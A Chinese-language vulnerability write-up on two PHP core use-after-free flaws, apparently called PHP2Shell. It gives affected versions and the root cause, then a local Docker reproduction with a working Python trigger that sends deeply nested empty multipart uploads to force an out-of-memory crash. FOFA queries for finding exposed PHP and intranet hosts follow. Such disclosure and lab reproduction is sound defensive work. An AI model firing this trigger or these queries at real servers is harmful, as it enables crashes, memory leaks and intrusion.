CVE-2026-109618/109619 PHP2Shell:藏了 14 年的 PHP 核心 RCE,一次 multipart 上传就崩

CVE-2026-109618/109619 PHP2Shell:藏了 14 年的 PHP 核心 RCE,一次 multipart 上传就崩

漏洞简介

  • PHP 官方一次性放出 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 四个安全版本,修复两处藏在 PHP 核心引擎层的远程代码执行漏洞,社区统称 PHP2Shell。

    它有两个反常识的点:

    • 引擎层漏洞,不是应用层。 漏洞在 php-src 的请求解析与内存管理里,不在任何网站代码里。你用 WordPress、Laravel 写得再干净、登录校验卡得再严,也拦不住——攻击发生在你的业务代码运行之前。

    • 藏了约 14 年,又因 AI 在 48 小时内被打穿。 漏洞代码最早追溯到 2012 年;2024 年人工审计就摸到过隐患,但找不到稳定利用路径而搁置;今年 7 月,OpenAI「Patch the Planet」计划下 Calif 用 GPT-5.6 Sol 两天串出了利用链。

    全球能识别出服务端语言的网站里约 69.3% 跑在 PHP 上,Censys 扫出公网易易网站点约 5490 万——这是引擎级暴露面。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-109618、CVE-2026-109619

受影响产品

PHP Core(php-src),影响所有 PHP 驱动的 Web 应用 / CMS

受影响组件

请求解析与内存管理(zend_hash_str_add_or_update、session.upload_progress 生命周期)

受影响版本

8.2.0~8.2.34、8.3.0~8.3.35、8.4.0~8.4.26、8.5.0~8.5.11(最早 5.4.0,2012)

漏洞类型

OOM 致使用-after-free(CWE-416)+ 认证执行缺失

修复版本:8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(CVSS v4.0 均 9.2)。部署形态:mod_php(风险最高,未认证、应用代码前触发)、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed 全部在射程内;路由器/NAS/防火墙管理后台等内嵌 PHP 设备同样中招,而管理员往往没有直接升级 PHP 的入口。

七度光 www.qdg.tw PHP2Shell 攻击链 可控 OOM 触发层 ① multipart 打满 1200×60 层空上传 ② 可控 OOM 堆炸到 128MiB ③ 堆里留悬垂指针 worker 不回收 → 下一步 修复版 8.5.12:新增 max_multipart_body_parts=1020 在请求启动阶段就掐断放大器 ✓ 攻击方 内存态 修复拦截 七度光 · www.qdg.tw

漏洞原理

  • 两个漏洞共享同一个失败模式:一次致命的内存耗尽(OOM)在错误的时间点打断了 PHP 内部操作——内存账记了一半、活没干完,后面的清理程序拿着这本假账,把已释放或从未初始化的内存当成正常数据继续用。 这正是 Use-After-Free(UAF)的经典形态。

放大器为什么能"可控 OOM":

  1. post_max_size(默认 8M)只校验 Content-Length,不校验 PHP 实际消费的字节数;

  2. 一条 filename="" 的 RFC1867 空上传字段不含文件数据、不计入 max_file_uploads,但 PHP 仍为它建 name/full_path/type/tmp_name/error/size 六个 $_FILES 条目;

  3. 字段名深层嵌套(files[a][b][c]...)时,每一层都为这六个条目分别建 HashTable + Bucket + 字符串键;

  4. 几百条这样的记录,HTTP 体不到 8 MiB,PHP 堆却膨胀出 >128 MiB 分配——攻击者手里就有了一个"可控 OOM 遥控器"。

两个 CVE 各占一格:

  • CVE-2026-109618(内存账记错):Zend 引擎哈希表插入 _zend_hash_str_add_or_update_i() 先给存活计数器 nNumUsed +1,再分配初始化 key。若分配 key 那步撞上 OOM 被掐断,计数器已加、初始化被跳过;哈希表销毁时按计数器逐个"析构",包括那个从未初始化的 Bucket,陈旧内存里的随机字节被当合法 zval 指针处理。

  • CVE-2026-109619(跨请求残留账):session.upload_progress 在 PHP 还在解析 multipart 请求体时(早于模块正常激活)提前初始化 Session,全局变量存的是指向当前请求堆的指针。OOM 致命错误后,END 清理回调被跳过、模块关闭钩子被激活标志挡在门外,但请求堆照样整块释放。mod_php 的 worker 带着 PS(id)、PS(http_session_vars) 两个悬垂指针存活,攻击者再发一个不带文件、但带 Session ID 和 PHP_SESSION_UPLOAD_PROGRESS 字段的请求,就能让清理路径"析构"一块早已释放的内存。

七度光 www.qdg.tw 影响版本 × 修复版本 分支 受影响(< 修复版) 修复版本 CVSS 8.2.x< 8.2.358.2.359.2 8.3.x< 8.3.368.3.369.2 8.4.x< 8.4.278.4.279.2 8.5.x< 8.5.128.5.129.2 8.1 更早全受影响源码 backport9.2 最早可追溯到 PHP 5.4.0(2012 年),藏匿约 14 年 七度光 · www.qdg.tw

附赠一个类 Heartbleed 的面:上传进度处理器可把已释放的 worker 内存经 PHPSESSID 响应 cookie 回传给客户端,里面可能藏着其他请求的密码、令牌、API key 甚至 TLS 私钥,且不需要应用调用 session_start()。

修复点(8.5.12):新增 max_multipart_body_parts(默认 1020),在请求启动阶段就掐断放大器,所以同一请求打修复版会被截断、页面正常输出。

漏洞复现

  • 准备环境

项

漏洞版

修复版

基础镜像

php:8.5.11-apache

php:8.5.12-apache

容器端口

28080

28081

默认配置

memory_limit=128M / post_max_size=8M / 上传进度开启(出厂即漏洞态)

同左 + 新增 max_multipart_body_parts=1020

触发脚本

php2shell_oom_trigger.py

php2shell_compare.py

若 Docker Hub 尚未同步 8.5.11 / 8.5.12 镜像 tag,可用 php:8.4-apache(漏洞)/ php:8.4.27-apache(修复)对位,原理相同。

七度光 www.qdg.tw 复现 · 三步 1 起本地环境 bash php2shell_env.sh up 漏洞版 8.5.11 → :28080 修复版 8.5.12 → :28081 2 打对照请求 python php2shell_compare.py 漏洞版:OOM fatal / Unknown on line 0 修复版:parts limit 1020 + 正常 hello 3 单点 OOM 触发(可改 target) python php2shell_oom_trigger.py --target 127.0.0.1:28080 请求体 ~771 KiB,堆膨胀 >128 MiB,触发可控 OOM 原语 七度光 · www.qdg.tw

复现步骤一:起本地环境

bash php2shell_env.sh up
# 漏洞版 :28080 / 修复版 :28081,各放一个最小 index.php

复现步骤二:打对照请求

python php2shell_compare.py

同一个 ~771 KiB 请求体,两边行为完全不同:

版本

预期输出

判定

漏洞版 8.5.11

Fatal error: Allowed memory size of 134217728 bytes exhausted ... in Unknown on line 0

OOM fatal,index.php 的 hello 根本没机会执行

修复版 8.5.12

Warning: PHP Request Startup: Multipart body parts limit exceeded 1020 + hello from PHP 8.5.12

parts-limit 在启动阶段拦截,页面正常

Unknown on line 0 是关键信号——崩在引擎解析请求体阶段,而不是应用代码里。

复现步骤三:单点 OOM 触发(可自定义 target)

python php2shell_oom_trigger.py --target 127.0.0.1:28080
# 构造 1200 条 × 60 层嵌套空 filename="" multipart
# 请求体 ~771 KiB,堆膨胀 >128 MiB,触发可控 OOM 原语

可复现到"可控 OOM + UAF 状态窗口"。触发脚本核心:

import http.client

BOUNDARY = "----php2shellpoc"
parts = []
for i in range(1200):
    nest = "".join(f"[k{d}r{i}]" for d in range(60))   # 每条独享一条嵌套路径
    parts.append(
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="files{nest}"; filename=""\r\n'
        f"Content-Type: application/octet-stream\r\n\r\n\r\n"
    )
body = ("".join(parts) + f"--{BOUNDARY}--\r\n").encode()

conn = http.client.HTTPConnection("127.0.0.1", 28080, timeout=120)
conn.request("POST", "/index.php", body=body,
             headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"})
print(conn.getresponse().read().decode(errors="replace"))

踩坑提示:若多条记录共用同一条嵌套路径,PHP 只会把层级建一遍,堆压力上不去——必须每条独享一条 60 层路径。

FOFA 语法

带 PHP 指纹 + 可交互的 Web 应用

app="PHP" && port="80" 

只挑内网/管理后台(升级最慢、最该盯)

 app="PHP" && host="*.intranet.local"

说明:PHP 是引擎,不固定在某一个产品上,FOFA 用 app="PHP" 命中带 PHP 指纹的站点;真正该重点排查的是无法直接升级 PHP 的厂商内置后台(路由器、NAS、防火墙管理页)——它们升级入口在厂商手里,见 NCSC 的 software 清单。

工具下载

REA:把"读闭源"交给 Agent 的逆向引擎 问一句就能扒出程序的逆向引擎 2026-10-22